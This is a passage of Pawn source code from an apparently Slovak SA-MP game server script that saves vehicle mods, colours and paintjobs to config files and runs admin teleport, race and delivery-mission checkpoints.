                            if(componentid == 1026) componentid2=1027;
                            if(componentid == 1027) componentid2=1026;
                            if(componentid == 1030) componentid2=1031;
                            if(componentid == 1031) componentid2=1030;
                            if(componentid == 1036) componentid2=1040;
                            if(componentid == 1040) componentid2=1036;
                            if(componentid == 1039) componentid2=1041;
                            if(componentid == 1041) componentid2=1039;
                            if(componentid == 1042) componentid2=1099;
                            if(componentid == 1099) componentid2=1042;
                            if(componentid == 1047) componentid2=1051;
                            if(componentid == 1051) componentid2=1047;
                            if(componentid == 1048) componentid2=1052;
                            if(componentid == 1052) componentid2=1048;
                            if(componentid == 1056) componentid2=1062;
                            if(componentid == 1062) componentid2=1056;
                            if(componentid == 1057) componentid2=1063;
                            if(componentid == 1063) componentid2=1057;
                            if(componentid == 1069) componentid2=1071;
                            if(componentid == 1071) componentid2=1069;
                            if(componentid == 1070) componentid2=1072;
                            if(componentid == 1072) componentid2=1070;
                            if(componentid == 1090) componentid2=1094;
                            if(componentid == 1094) componentid2=1090;
                            if(componentid == 1093) componentid2=1095;
                            if(componentid == 1095) componentid2=1093;
                            if(componentid == 1101) componentid2=1122;
                            if(componentid == 1122) componentid2=1101;
                            if(componentid == 1102) componentid2=1133;
                            if(componentid == 1133) componentid2=1102;
                            if(componentid == 1106) componentid2=1124;
                            if(componentid == 1124) componentid2=1106;
                            if(componentid == 1107) componentid2=1108;
                            if(componentid == 1108) componentid2=1107;
                            if(componentid == 1118) componentid2=1120;
                            if(componentid == 1120) componentid2=1118;
                            if(componentid == 1119) componentid2=1121;
                            if(componentid == 1121) componentid2=1119;
                            if(componentid == 1134) componentid2=1137;
                            if(componentid == 1137) componentid2=1134;
                        }
                        if(componenttype == CARMODTYPE_REAR_BUMPER) format(itemname, 16, "V%d_zn", s);
                        if(componenttype == CARMODTYPE_EXHAUST) format(itemname, 16, "V%d_exhaust", s);
                        if(componenttype == CARMODTYPE_NITRO) format(itemname, 16, "V%d_nitro", s);
                        if(componenttype == CARMODTYPE_HYDRAULICS) format(itemname, 16, "V%d_hyd", s);
                        if(componenttype == CARMODTYPE_ROOF) format(itemname, 16, "V%d_roof", s);
                        
                        dini_IntSet(way, itemname, componentid);
                        if(item2 == true) dini_IntSet(way, itemname2, componentid2);

                        break;
                    }
                }
            }
        }
    }
    return 1;
}

public OnVehicleRespray(playerid, vehicleid, color1, color2)
{
    for(new i=0; i<=Server[ConP]; i++)
    {
        if(IsPlayerConnected(i))
        {
            for(new s=0; s<5; s++)
            {
                if(PlayerVehicle_State[s][i] == true)
                {
                    if(vehicleid == PlayerVehicle[s][i])
                    {
                        new v_color1[16];
                        format(v_color1,16,"V%d_color1",s);
                        new v_color2[16];
                        format(v_color2,16,"V%d_color2",s);
                        new Name[24];
                        GetPlayerName(playerid, Name, 24);
                        new way[32];
                        format(way, 32, "SL/%s.cfg", Name);
                        
                        dini_IntSet(way, v_color1, color1);
                        dini_IntSet(way, v_color2, color2);

                        return 0;
                    }
                }
            }
        }
    }

    if(Player[playerid][HouseP] != 9999)
    {
        for(new h=0; h<MAX_HOUSES; h++)
        {
            for(new s=0; s<HouseStates[h][Vehicles]; s++)
            {
                if(Car_State[s][h] == true)
                {
                    if(vehicleid == Car[s][h])
                    {
                        new v_color1[16];
                        format(v_color1,16,"V%d_color1",s);
                        new v_color2[16];
                        format(v_color2,16,"V%d_color2",s);
                        new way[64];
                        format(way, 64, "SL/Server/Houses/House%d.cfg", Player[playerid][HouseP]);

                        dini_IntSet(way, v_color1, color1);
                        dini_IntSet(way, v_color2, color2);

                        return 0;
                    }
                }
            }
        }
    }

    if(Player[playerid][ClanP] != 9999)
    {
        for(new c=0; c<MAX_CLANS; c++)
        {
            for(new s=0; s<Clan[c][Vehicles]; s++)
            {
                if(ClanVehicle_State[s][c] == true)
                {
                    if(vehicleid == ClanVehicle[s][c])
                    {
                        new v_color1[16];
                        format(v_color1,16,"V%d_color1",s);
                        new v_color2[16];
                        format(v_color2,16,"V%d_color2",s);
                        new way[64];
                        format(way, 64, "SL/ServerClans/Clan%d.cfg", Player[playerid][ClanP]);

                        dini_IntSet(way, v_color1, color1);
                        dini_IntSet(way, v_color2, color2);

                        return 0;
                    }
                }
            }
        }
    }
    return 1;
}

public OnVehiclePaintjob(playerid, vehicleid, paintjobid)
{
    for(new i=0; i<=Server[ConP]; i++)
    {
        if(IsPlayerConnected(i))
        {
            for(new s=0; s<5; s++)
            {
                if(PlayerVehicle_State[s][i] == true)
                {
                    if(vehicleid == PlayerVehicle[s][i])
                    {
                        new Name[24];
                        GetPlayerName(i, Name, 24);
                         new way[32];
                         format(way,32, "SL/%s.cfg", Name);

                        new V_pj[16]; format(V_pj, 16, "V%d_pj", s);
                        
                        dini_IntSet(way, V_pj, paintjobid);

                        return 0;
                    }
                }
            }
        }
    }

    for(new h=0; h<MAX_HOUSES; h++)
    {
        for(new s=0; s<HouseStates[h][Vehicles]; s++)
        {
            if(Car_State[s][h] == true)
            {
                if(vehicleid == Car[s][h])
                {
                     new way[64];
                     format(way,64, "SL/Server/Houses/House%d.cfg", h);

                    new V_pj[16]; format(V_pj, 16, "V%d_pj", s);

                    dini_IntSet(way, V_pj, paintjobid);

                    return 0;
                }
            }
        }
    }

    for(new c=0; c<MAX_CLANS; c++)
    {
        for(new s=0; s<Clan[c][Vehicles]; s++)
        {
            if(ClanVehicle_State[s][c] == true)
            {
                if(vehicleid == ClanVehicle[s][c])
                {
                    new way[64];
                     format(way,64, "SL/Server/Clans/Clan%d.cfg", c);

                    new V_pj[16]; format(V_pj, 16, "V%d_pj", s);

                    dini_IntSet(way, V_pj, paintjobid);

                    return 0;
                }
            }
        }
    }
    return 1;
}

public OnVehicleSpawn(vehicleid)
{
    for(new i=0; i<=Server[ConP]; i++)
    {
        if(IsPlayerConnected(i))
        {
            for(new s=0; s<5; s++)
            {
                if(PlayerVehicle_State[s][i] == true)
                {
                    if(vehicleid == PlayerVehicle[s][i])
                    {
                        new Name[24];
                        GetPlayerName(i, Name, 24);
                         new way[32];
                         format(way,32, "SL/%s.cfg", Name);
                         
                        new V_posX[16]; format(V_posX, 16, "V%d_posX", s);
                        new V_posY[16]; format(V_posY, 16, "V%d_posY", s);
                        new V_posZ[16]; format(V_posZ, 16, "V%d_posZ", s);
                        new V_angle[16]; format(V_angle, 16, "V%d_angle", s);

                        SetVehiclePos(vehicleid, dini_Float(way, V_posX), dini_Float(way, V_posY), dini_Float(way, V_posZ));
                        SetVehicleZAngle(vehicleid, dini_Float(way, V_angle));
                        
                        new v_color1[16];
                        format(v_color1,16,"V%d_color1",s);
                        new v_color2[16];
                        format(v_color2,16,"V%d_color2",s);
                        ChangeVehicleColor(vehicleid, dini_Int(way, v_color1), dini_Int(way, v_color2));

                        return 0;
                    }
                }
            }
        }
    }

    for(new h=0; h<MAX_HOUSES; h++)
    {
        for(new s=0; s<HouseStates[h][Vehicles]; s++)
        {
            if(Car_State[s][h] == true)
            {
                if(vehicleid == Car[s][h])
                {
                    SetVehiclePos(vehicleid, HV_x2[s][h],HV_y2[s][h],HV_z2[s][h]);
                    SetVehicleZAngle(vehicleid, HV_a2[s][h]);

                    return 0;
                }
            }
        }
    }

    for(new c=0; c<MAX_CLANS; c++)
    {
        for(new s=0; s<Clan[c][Vehicles]; s++)
        {
            if(ClanVehicle_State[s][c] == true)
            {
                if(vehicleid == ClanVehicle[s][c])
                {
                    SetVehiclePos(vehicleid, CV_x2[s][c],CV_y2[s][c],CV_z2[s][c]);
                    SetVehicleZAngle(vehicleid, CV_a2[s][c]);

                    return 0;
                }
            }
        }
    }
    return 1;
}

public OnVehicleStreamIn(vehicleid, forplayerid)
{
    new Float:vx,
        Float:vy,
        Float:vz;
    GetVehiclePos(vehicleid, vx, vy, vz);

    if(VehicleStatus[vehicleid] == true && VehicleLockedID[vehicleid] != forplayerid)
    {
        SetVehicleParamsForPlayer(vehicleid, forplayerid, 0, 1);
    }

    for(new t=0; t<32; t++)
    {
        if(vehicleid == TA_V[t]) SetVehicleParamsForPlayer(TA_V[t], forplayerid, 0, 1);
    }

    for(new dtc=0; dtc<10; dtc++)
    {
        if(vehicleid == DTC_Car[dtc])
        {
            AddVehicleComponent(vehicleid, 1085);
            AddVehicleComponent(vehicleid, 1002);
            AddVehicleComponent(vehicleid, 1171);
            AddVehicleComponent(vehicleid, 1039);
            AddVehicleComponent(vehicleid, 1041);
            AddVehicleComponent(vehicleid, 1148);
            AddVehicleComponent(vehicleid, 1034);
            AddVehicleComponent(vehicleid, 1010);
            AddVehicleComponent(vehicleid, 1087);
            AddVehicleComponent(vehicleid, 1035);

            SetVehicleParamsForPlayer(vehicleid, forplayerid, 0, 0);
        }
    }
    
    for(new i=0; i<=Server[ConP]; i++)
    {
        if(IsPlayerConnected(i))
        {
            for(new s=0; s<5; s++)
            {
                if(PlayerVehicle_State[s][i] == true)
                {
                    if(vehicleid == PlayerVehicle[s][i])
                    {
                        new way[32], Name[24];
                        GetPlayerName(i, Name, 24);
                        
                        format(way,32,"SL/%s.cfg",Name);

                        new v_id[16];
                        format(v_id,16,"V%d_id",s);

                        if(dini_Int(way, v_id)!=0)
                        {
                            new v_wheels[16];
                            format(v_wheels,16,"V%d_wheels",s);
                            if(dini_Int(way,v_wheels)!=0) AddVehicleComponent(vehicleid, dini_Int(way,v_wheels));

                            new v_spoiler[16];
                            format(v_spoiler,16,"V%d_spoiler",s);
                            if(dini_Int(way,v_spoiler)!=0) AddVehicleComponent(vehicleid, dini_Int(way,v_spoiler));

                            new v_pn[16];
                            format(v_pn,16,"V%d_pn",s);
                            if(dini_Int(way,v_pn)!=0) AddVehicleComponent(vehicleid, dini_Int(way,v_pn));
                            
                            new v_pj[16];
                            format(v_pj,16,"V%d_pj",s);
                            if(dini_Int(way, v_pj)!=9999) ChangeVehiclePaintjob(vehicleid, dini_Int(way,v_pj));

                            new v_snL[16];
                            format(v_snL,16,"V%d_snL",s);
                            if(dini_Int(way,v_snL)!=0) AddVehicleComponent(vehicleid, dini_Int(way,v_snL));

                            new v_snR[16];
                            format(v_snR,16,"V%d_snR",s);
                            if(dini_Int(way,v_snR)!=0) AddVehicleComponent(vehicleid, dini_Int(way,v_snR));

                            new v_zn[16];
                            format(v_zn,16,"V%d_zn",s);
                            if(dini_Int(way,v_zn)!=0) AddVehicleComponent(vehicleid, dini_Int(way,v_zn));

                            new v_exhaust[16];
                            format(v_exhaust,16,"V%d_exhaust",s);
                            if(dini_Int(way,v_exhaust)!=0) AddVehicleComponent(vehicleid, dini_Int(way,v_exhaust));

                            new v_nitro[16];
                            format(v_nitro,16,"V%d_nitro",s);
                            if(dini_Int(way,v_nitro)!=0) AddVehicleComponent(vehicleid, dini_Int(way,v_nitro));

                            new v_hyd[16];
                            format(v_hyd,16,"V%d_hyd",s);
                            if(dini_Int(way,v_hyd)!=0) AddVehicleComponent(vehicleid, dini_Int(way,v_hyd));

                            new v_roof[16];
                            format(v_roof,16,"V%d_roof",s);
                            if(dini_Int(way,v_roof)!=0) AddVehicleComponent(vehicleid, dini_Int(way,v_roof));

                            new v_color1[16];
                            format(v_color1,16,"V%d_color1",s);
                            new v_color2[16];
                            format(v_color2,16,"V%d_color2",s);
                            ChangeVehicleColor(vehicleid, dini_Int(way, v_color1), dini_Int(way, v_color2));
                        }

                        return 0;
                    }
                }
            }
        }
    }

    for(new v=0; v<MAX_HOUSES; v++)
    {
        for(new s=0; s<HouseStates[v][Vehicles]; s++)
        {
            if(Car_State[s][v] == true)
            {
                if(vehicleid == Car[s][v])
                {
                    new way[32];
                    format(way,32,"SL/Server/Houses/House%d.cfg",v);

                    new v_id[16];
                    format(v_id,16,"V%d_id",s);

                    if(dini_Int(way,v_id)!=0)
                    {
                        new v_wheels[16];
                        format(v_wheels,16,"V%d_wheels",s);
                        if(dini_Int(way,v_wheels)!=0) AddVehicleComponent(vehicleid, dini_Int(way,v_wheels));

                        new v_spoiler[16];
                        format(v_spoiler,16,"V%d_spoiler",s);
                        if(dini_Int(way,v_spoiler)!=0) AddVehicleComponent(vehicleid, dini_Int(way,v_spoiler));

                        new v_pn[16];
                        format(v_pn,16,"V%d_pn",s);
                        if(dini_Int(way,v_pn)!=0) AddVehicleComponent(vehicleid, dini_Int(way,v_pn));
                        
                        new v_pj[16];
                        format(v_pj,16,"V%d_pj",s);
                        if(dini_Int(way, v_pj)!=9999) ChangeVehiclePaintjob(vehicleid, dini_Int(way,v_pj));

                        new v_snL[16];
                        format(v_snL,16,"V%d_snL",s);
                        if(dini_Int(way,v_snL)!=0) AddVehicleComponent(vehicleid, dini_Int(way,v_snL));

                        new v_snR[16];
                        format(v_snR,16,"V%d_snR",s);
                        if(dini_Int(way,v_snR)!=0) AddVehicleComponent(vehicleid, dini_Int(way,v_snR));

                        new v_zn[16];
                        format(v_zn,16,"V%d_zn",s);
                        if(dini_Int(way,v_zn)!=0) AddVehicleComponent(vehicleid, dini_Int(way,v_zn));

                        new v_exhaust[16];
                        format(v_exhaust,16,"V%d_exhaust",s);
                        if(dini_Int(way,v_exhaust)!=0) AddVehicleComponent(vehicleid, dini_Int(way,v_exhaust));

                        new v_nitro[16];
                        format(v_nitro,16,"V%d_nitro",s);
                        if(dini_Int(way,v_nitro)!=0) AddVehicleComponent(vehicleid, dini_Int(way,v_nitro));

                        new v_hyd[16];
                        format(v_hyd,16,"V%d_hyd",s);
                        if(dini_Int(way,v_hyd)!=0) AddVehicleComponent(vehicleid, dini_Int(way,v_hyd));

                        new v_roof[16];
                        format(v_roof,16,"V%d_roof",s);
                        if(dini_Int(way,v_roof)!=0) AddVehicleComponent(vehicleid, dini_Int(way,v_roof));

                        new v_color1[16];
                        format(v_color1,16,"V%d_color1",s);
                        new v_color2[16];
                        format(v_color2,16,"V%d_color2",s);
                        ChangeVehicleColor(vehicleid, dini_Int(way, v_color1), dini_Int(way, v_color2));
                    }

                    return 0;
                }
            }
        }
    }

    for(new c=0; c<MAX_CLANS; c++)
    {
        for(new s=0; s<Clan[c][Vehicles]; s++)
        {
            if(ClanVehicle_State[s][c] == true)
            {
                if(vehicleid == ClanVehicle[s][c])
                {
                    new cway[64];
                    format(cway,64, "SL/Server/Clans/Clan%d.cfg", c);

                    new v_id[16];
                    format(v_id,16,"V%d_id",s);

                    if(dini_Int(cway,v_id)!=0)
                    {
                        new v_wheels[16];
                        format(v_wheels,16,"V%d_wheels",s);
                        if(dini_Int(cway,v_wheels)!=0) AddVehicleComponent(vehicleid, dini_Int(cway,v_wheels));

                        new v_spoiler[16];
                        format(v_spoiler,16,"V%d_spoiler",s);
                        if(dini_Int(cway,v_spoiler)!=0) AddVehicleComponent(vehicleid, dini_Int(cway,v_spoiler));

                        new v_pn[16];
                        format(v_pn,16,"V%d_pn",s);
                        if(dini_Int(cway,v_pn)!=0) AddVehicleComponent(vehicleid, dini_Int(cway,v_pn));
                        
                        new v_pj[16];
                        format(v_pj,16,"V%d_pj",s);
                        if(dini_Int(cway, v_pj)!=9999) ChangeVehiclePaintjob(vehicleid, dini_Int(cway,v_pj));

                        new v_snL[16];
                        format(v_snL,16,"V%d_snL",s);
                        if(dini_Int(cway,v_snL)!=0) AddVehicleComponent(vehicleid, dini_Int(cway,v_snL));

                        new v_snR[16];
                        format(v_snR,16,"V%d_snR",s);
                        if(dini_Int(cway,v_snR)!=0) AddVehicleComponent(vehicleid, dini_Int(cway,v_snR));

                        new v_zn[16];
                        format(v_zn,16,"V%d_zn",s);
                        if(dini_Int(cway,v_zn)!=0) AddVehicleComponent(vehicleid, dini_Int(cway,v_zn));

                        new v_exhaust[16];
                        format(v_exhaust,16,"V%d_exhaust",s);
                        if(dini_Int(cway,v_exhaust)!=0) AddVehicleComponent(vehicleid, dini_Int(cway,v_exhaust));

                        new v_nitro[16];
                        format(v_nitro,16,"V%d_nitro",s);
                        if(dini_Int(cway,v_nitro)!=0) AddVehicleComponent(vehicleid, dini_Int(cway,v_nitro));

                        new v_hyd[16];
                        format(v_hyd,16,"V%d_hyd",s);
                        if(dini_Int(cway,v_hyd)!=0) AddVehicleComponent(vehicleid, dini_Int(cway,v_hyd));

                        new v_roof[16];
                        format(v_roof,16,"V%d_roof",s);
                        if(dini_Int(cway,v_roof)!=0) AddVehicleComponent(vehicleid, dini_Int(cway,v_roof));

                        new v_color1[16];
                        format(v_color1,16,"V%d_color1",s);
                        new v_color2[16];
                        format(v_color2,16,"V%d_color2",s);
                        ChangeVehicleColor(vehicleid, dini_Int(cway, v_color1), dini_Int(cway, v_color2));
                    }

                    return 0;
                }
            }
        }
    }
    return 1;
}

public OnPlayerClickMap(playerid, Float:fX, Float:fY, Float:fZ)
{
    if(IsPlayerConnected(playerid))
    {
        if(Player[playerid][AdminLevel] >= 4)
        {
            if(Player[playerid][A_MapPointState] == true)
            {
                if(GetPlayerVehicleID(playerid) == 0) SetPlayerPos(playerid, fX, fY, fZ);
                else SetVehiclePos(GetPlayerVehicleID(playerid), fX, fY, fZ);

                SendClientMessage(playerid, COLOR_ADMIN, "Úspešne si sa teleportoval !");

                Player[playerid][A_MapPointState]=false;
            }
        }
    }
    return 1;
}

public OnPlayerEnterCheckpoint(playerid)
{
    if(!IsPlayerNPC(playerid))
    {
        if(IsPlayerConnected(playerid))
        {
            if(Checkpoint[playerid][Series]==2) DisablePlayerCheckpoint(playerid);

                 if(Checkpoint[playerid][Series]==2 && Checkpoint[playerid][Number]==0) SetPlayerCheckpoint(playerid,-1861.937,1027.665,83.662,2);
            else if(Checkpoint[playerid][Series]==2 && Checkpoint[playerid][Number]==1) SetPlayerCheckpoint(playerid,-1959.5926513672,1023.5790405273,68.003952026367,2);
            else if(Checkpoint[playerid][Series]==2 && Checkpoint[playerid][Number]==2)
            {
                SetPlayerPos(playerid,-1973.227,1024.349,208.342);
                if(Game[ME2_State]==1)
                {
                    Game[ME2_State]=2;
                    Game[ME2_StateTimer]=SetTimer("MirrorsEdge2RaceEnd",8000,0);
                    GameTextForPlayer(playerid,"~b~Vyhral si zavod ~r~Mirrors Edge 2 ~b~!",3000,5);
                    new Name[24];
                    GetPlayerName(playerid,Name,24);
                    new string[128];
                    format(string,128,"Hráč %s (%d) vyhral závod Mirrors Edge 2 !",Name,playerid);
                    SendClientMessageToAll(COLOR_WHITE,string);
                }
                Checkpoint[playerid][Series]=0;
                Checkpoint[playerid][Number]=0;
            }
            if(Checkpoint[playerid][Series]==2) Checkpoint[playerid][Number]++;
        }
    }
    return 1;
}

public OnPlayerEnterRaceCheckpoint(playerid)
{
    if(!IsPlayerNPC(playerid))
    {
        if(IsPlayerConnected(playerid))
        {
            if(Player[playerid][MissionID] == 12)
            {
                if(GetPlayerVehicleID(playerid) > 0)
                {
                    if(GetVehicleModel(GetPlayerVehicleID(playerid)) == 431 || GetVehicleModel(GetPlayerVehicleID(playerid)) == 437)
                    {
                        FormatPlayerInfoBox(playerid, "~g~Mission", "~w~Pokracuj.", 2000);
                        Player[playerid][Premie]+=2250;

                        DisablePlayerRaceCheckpoint(playerid);

                        if(Player[playerid][MissionInfo] == 33) SetPlayerRaceCheckpoint(playerid,0,2081.0964355469,-1903.8985595703,13.386157989502,1948.96484375,-1931.9669189453,13.3828125,10);
                        if(Player[playerid][MissionInfo] == 0) SetPlayerRaceCheckpoint(playerid,0,1948.96484375,-1931.9669189453,13.3828125,1820.7528076172,-1920.9923095703,13.378070831299,10);
                        if(Player[playerid][MissionInfo] == 1) SetPlayerRaceCheckpoint(playerid,0,1820.7528076172,-1920.9923095703,13.378070831299,1821.9720458984,-1595.8233642578,13.356964111328,10);
                        if(Player[playerid][MissionInfo] == 2) SetPlayerRaceCheckpoint(playerid,0,1821.9720458984,-1595.8233642578,13.356964111328,1837.5739746094,-1529.0856933594,13.3828125,10);
                        if(Player[playerid][MissionInfo] == 3) SetPlayerRaceCheckpoint(playerid,0,1837.5739746094,-1529.0856933594,13.3828125,1849.7497558594,-1324.1783447266,13.394207000732,10);
                        if(Player[playerid][MissionInfo] == 4) SetPlayerRaceCheckpoint(playerid,0,1849.7497558594,-1324.1783447266,13.394207000732,1835.8572998047,-1261.07421875,13.46875,10);
                        if(Player[playerid][MissionInfo] == 5) SetPlayerRaceCheckpoint(playerid,0,1835.8572998047,-1261.07421875,13.46875,1699.4212646484,-1301.2181396484,13.459705352783,10);
                        if(Player[playerid][MissionInfo] == 6) SetPlayerRaceCheckpoint(playerid,0,1699.4212646484,-1301.2181396484,13.459705352783,1455.1925048828,-1309.7751464844,13.3828125,10);
                        if(Player[playerid][MissionInfo] == 7) SetPlayerRaceCheckpoint(playerid,0,1455.1925048828,-1309.7751464844,13.3828125,1455.2576904297,-1454.6079101563,13.366119384766,10);
                        if(Player[playerid][MissionInfo] == 8) SetPlayerRaceCheckpoint(playerid,0,1455.2576904297,-1454.6079101563,13.366119384766,1429.5053710938,-1608.9213867188,13.3828125,10);
                        if(Player[playerid][MissionInfo] == 9) SetPlayerRaceCheckpoint(playerid,0,1429.5053710938,-1608.9213867188,13.3828125,1439.3759765625,-1732.0212402344,13.3828125,10);
                        if(Player[playerid][MissionInfo] == 10) SetPlayerRaceCheckpoint(playerid,0,1439.3759765625,-1732.0212402344,13.3828125,1569.1040039063,-1741.6812744141,13.3828125,10);
                        if(Player[playerid][MissionInfo] == 11) SetPlayerRaceCheckpoint(playerid,0,1569.1040039063,-1741.6812744141,13.3828125,1560.1632080078,-1871.6590576172,13.3828125,10);
                        if(Player[playerid][MissionInfo] == 12) SetPlayerRaceCheckpoint(playerid,0,1560.1632080078,-1871.6590576172,13.3828125,1370.1439208984,-1871.2290039063,13.3828125,10);
                        if(Player[playerid][MissionInfo] == 13) SetPlayerRaceCheckpoint(playerid,0,1370.1439208984,-1871.2290039063,13.3828125,1161.5104980469,-1852.0107421875,13.396507263184,10);
                        if(Player[playerid][MissionInfo] == 14) SetPlayerRaceCheckpoint(playerid,0,1161.5104980469,-1852.0107421875,13.396507263184,1062.4371337891,-1843.3204345703,13.454580307007,10);
                        if(Player[playerid][MissionInfo] == 15) SetPlayerRaceCheckpoint(playerid,0,1062.4371337891,-1843.3204345703,13.454580307007,917.87219238281,-1759.8060302734,13.381729125977,10);
                        if(Player[playerid][MissionInfo] == 16) SetPlayerRaceCheckpoint(playerid,0,917.87219238281,-1759.8060302734,13.381729125977,908.88323974609,-1572.7847900391,13.3828125,10);
                        if(Player[playerid][MissionInfo] == 17) SetPlayerRaceCheckpoint(playerid,0,908.88323974609,-1572.7847900391,13.3828125,831.68499755859,-1606.8271484375,13.3828125,10);
                        if(Player[playerid][MissionInfo] == 18) SetPlayerRaceCheckpoint(playerid,0,831.68499755859,-1606.8271484375,13.3828125,637.52996826172,-1576.234375,15.51008605957,10);
                        if(Player[playerid][MissionInfo] == 19) SetPlayerRaceCheckpoint(playerid,0,637.52996826172,-1576.234375,15.51008605957,646.94134521484,-1405.4937744141,13.410892486572,10);
                        if(Player[playerid][MissionInfo] == 20) SetPlayerRaceCheckpoint(playerid,0,646.94134521484,-1405.4937744141,13.410892486572,934.16131591797,-1406.1099853516,13.293065071106,10);
                        if(Player[playerid][MissionInfo] == 21) SetPlayerRaceCheckpoint(playerid,0,934.16131591797,-1406.1099853516,13.293065071106,1342.060546875,-1385.5192871094,13.513444900513,10);
                        if(Player[playerid][MissionInfo] == 22) SetPlayerRaceCheckpoint(playerid,0,1342.060546875,-1385.5192871094,13.513444900513,1352.3365478516,-1242.1538085938,13.392322540283,10);
                        if(Player[playerid][MissionInfo] == 23) SetPlayerRaceCheckpoint(playerid,0,1352.3365478516,-1242.1538085938,13.392322540283,1453.8552246094,-1250.0139160156,13.3828125,10);
                        if(Player[playerid][MissionInfo] == 24) SetPlayerRaceCheckpoint(playerid,0,1453.8552246094,-1250.0139160156,13.3828125,1463.490234375,-1299.6214599609,13.3828125,10);
                        if(Player[playerid][MissionInfo] == 25) SetPlayerRaceCheckpoint(playerid,0,1463.490234375,-1299.6214599609,13.3828125,1726.2589111328,-1300.6614990234,13.39432144165,10);
                        if(Player[playerid][MissionInfo] == 26) SetPlayerRaceCheckpoint(playerid,0,1726.2589111328,-1300.6614990234,13.39432144165,1862.1076660156,-1260.4517822266,13.379875183105,10);
                        if(Player[playerid][MissionInfo] == 27) SetPlayerRaceCheckpoint(playerid,0,1862.1076660156,-1260.4517822266,13.379875183105,2066.9921875,-1270.453125,23.8203125,10);
                        if(Player[playerid][MissionInfo] == 28) SetPlayerRaceCheckpoint(playerid,0,2066.9921875,-1270.453125,23.8203125,2081.9851074219,-1383.6168212891,23.825710296631,10);
                        if(Player[playerid][MissionInfo] == 29) SetPlayerRaceCheckpoint(playerid,0,2081.9851074219,-1383.6168212891,23.825710296631,2111.9995117188,-1395.1466064453,23.828125,10);
                        if(Player[playerid][MissionInfo] == 30) SetPlayerRaceCheckpoint(playerid,0,2111.9995117188,-1395.1466064453,23.828125,2112.0988769531,-1629.5181884766,21.030302047729,10);
                        if(Player[playerid][MissionInfo] == 31) SetPlayerRaceCheckpoint(playerid,0,2112.0988769531,-1629.5181884766,21.030302047729,2080.9528808594,-1822.6022949219,13.3828125,10);
                        if(Player[playerid][MissionInfo] == 32) SetPlayerRaceCheckpoint(playerid,0,2080.9528808594,-1822.6022949219,13.3828125,2081.0964355469,-1903.8985595703,13.386157989502,10);

                        Player[playerid][MissionInfo]++;
                        if(Player[playerid][MissionInfo] > 33) Player[playerid][MissionInfo]=0;

                        return 0;
                    }
                }
            }

            if(Player[playerid][MissionID] == 13)
            {
                if(GetPlayerVehicleID(playerid) > 0)
                {
                    if(GetVehicleModel(GetPlayerVehicleID(playerid)) == 574)
                    {
                        FormatPlayerInfoBox(playerid, "~g~Mission", "~w~Pokracuj.", 2000);
                        Player[playerid][Premie]+=10000;

                        DisablePlayerRaceCheckpoint(playerid);

                        switch(random(27))
                        {
                            case 0: SetPlayerRaceCheckpoint(playerid,1,1824.3930664063,-2164.3544921875,13.3828125,0,0,0,9);
                            case 1: SetPlayerRaceCheckpoint(playerid,1,1448.2495117188,-1493.7911376953,13.373216629028,0,0,0,9);
                            case 2: SetPlayerRaceCheckpoint(playerid,1,1712.79296875,-1440.2418212891,13.39061164856,0,0,0,9);
                            case 3: SetPlayerRaceCheckpoint(playerid,1,2430.8112792969,-1730.8989257813,13.567359924316,0,0,0,9);
                            case 4: SetPlayerRaceCheckpoint(playerid,1,2111.9382324219,-1462.3192138672,23.835441589355,0,0,0,9);
                            case 5: SetPlayerRaceCheckpoint(playerid,1,2080.7646484375,-1928.7707519531,13.359035491943,0,0,0,9);
                            case 6: SetPlayerRaceCheckpoint(playerid,1,2642.5444335938,-1048.2141113281,69.406829833984,0,0,0,9);
                            case 7: SetPlayerRaceCheckpoint(playerid,1,2489.5285644531,-1668.388671875,13.34375,0,0,0,9);
                            case 8: SetPlayerRaceCheckpoint(playerid,1,2902.1752929688,-1494.0219726563,10.875,0,0,0,9);
                            case 9: SetPlayerRaceCheckpoint(playerid,1,2870.8850097656,-1490.5750732422,10.826892852783,0,0,0,9);
                            case 10: SetPlayerRaceCheckpoint(playerid,1,2141.1975097656,-1115.1564941406,25.265214920044,0,0,0,9);
                            case 11: SetPlayerRaceCheckpoint(playerid,1,359.59469604492,-1527.4510498047,33.100524902344,0,0,0,9);
                            case 12: SetPlayerRaceCheckpoint(playerid,1,1325.8486328125,-702.20703125,92.366477966309,0,0,0,9);
                            case 13: SetPlayerRaceCheckpoint(playerid,1,985.32928466797,-804.87890625,98.85807800293,0,0,0,9);
                            case 14: SetPlayerRaceCheckpoint(playerid,1,497.7473449707,-1176.9984130859,60.605377197266,0,0,0,9);
                            case 15: SetPlayerRaceCheckpoint(playerid,1,494.91537475586,-1211.841796875,45.750835418701,0,0,0,9);
                            case 16: SetPlayerRaceCheckpoint(playerid,1,810.57537841797,-1768.0369873047,13.3984375,0,0,0,9);
                            case 17: SetPlayerRaceCheckpoint(playerid,1,370.9248046875,-2037.5270996094,7.671875,0,0,0,9);
                            case 18: SetPlayerRaceCheckpoint(playerid,1,1196.6022949219,-1569.9536132813,13.3828125,0,0,0,9);
                            case 19: SetPlayerRaceCheckpoint(playerid,1,837.20373535156,-1612.6126708984,13.3828125,0,0,0,9);
                            case 20: SetPlayerRaceCheckpoint(playerid,1,2512.4453125,-1396.4344482422,28.359375,0,0,0,9);
                            case 21: SetPlayerRaceCheckpoint(playerid,1,1658.7387695313,-1872.1809082031,13.3828125,0,0,0,9);
                            case 22: SetPlayerRaceCheckpoint(playerid,1,1689.8544921875,-1595.4603271484,13.386085510254,0,0,0,9);
                            case 23: SetPlayerRaceCheckpoint(playerid,1,2071.349609375,-1300.7163085938,23.8203125,0,0,0,9);
                            case 24: SetPlayerRaceCheckpoint(playerid,1,1040.3450927734,-2283.0258789063,12.921875,0,0,0,9);
                            case 25: SetPlayerRaceCheckpoint(playerid,1,2714.0732421875,-1946.1121826172,13.372629165649,0,0,0,9);
                            case 26..30: SetPlayerRaceCheckpoint(playerid,1,2283.9694824219,-2079.1989746094,13.3828125,0,0,0,9);
                        }

                        return 0;
                    }
                }
            }

            if(Player[playerid][MissionID] == 27)
            {
                if(GetPlayerVehicleID(playerid) > 0)
                {
                    if(GetVehicleModel(GetPlayerVehicleID(playerid)) == 408)
                    {
                        FormatPlayerInfoBox(playerid, "~g~Mission", "~w~Pokracuj.", 2000);
                        Player[playerid][Premie]+=10000;

                        DisablePlayerRaceCheckpoint(playerid);

                        switch(random(12))
                        {
                            case 0: SetPlayerRaceCheckpoint(playerid,1,-2470.8259277344,776.2412109375,35.171875,0,0,0,5);
                            case 1: SetPlayerRaceCheckpoint(playerid,1,-2243.8195800781,113.53688812256,35.3203125,0,0,0,5);
                            case 2: SetPlayerRaceCheckpoint(playerid,1,-2483.3395996094,-169.48406982422,25.671258926392,0,0,0,5);
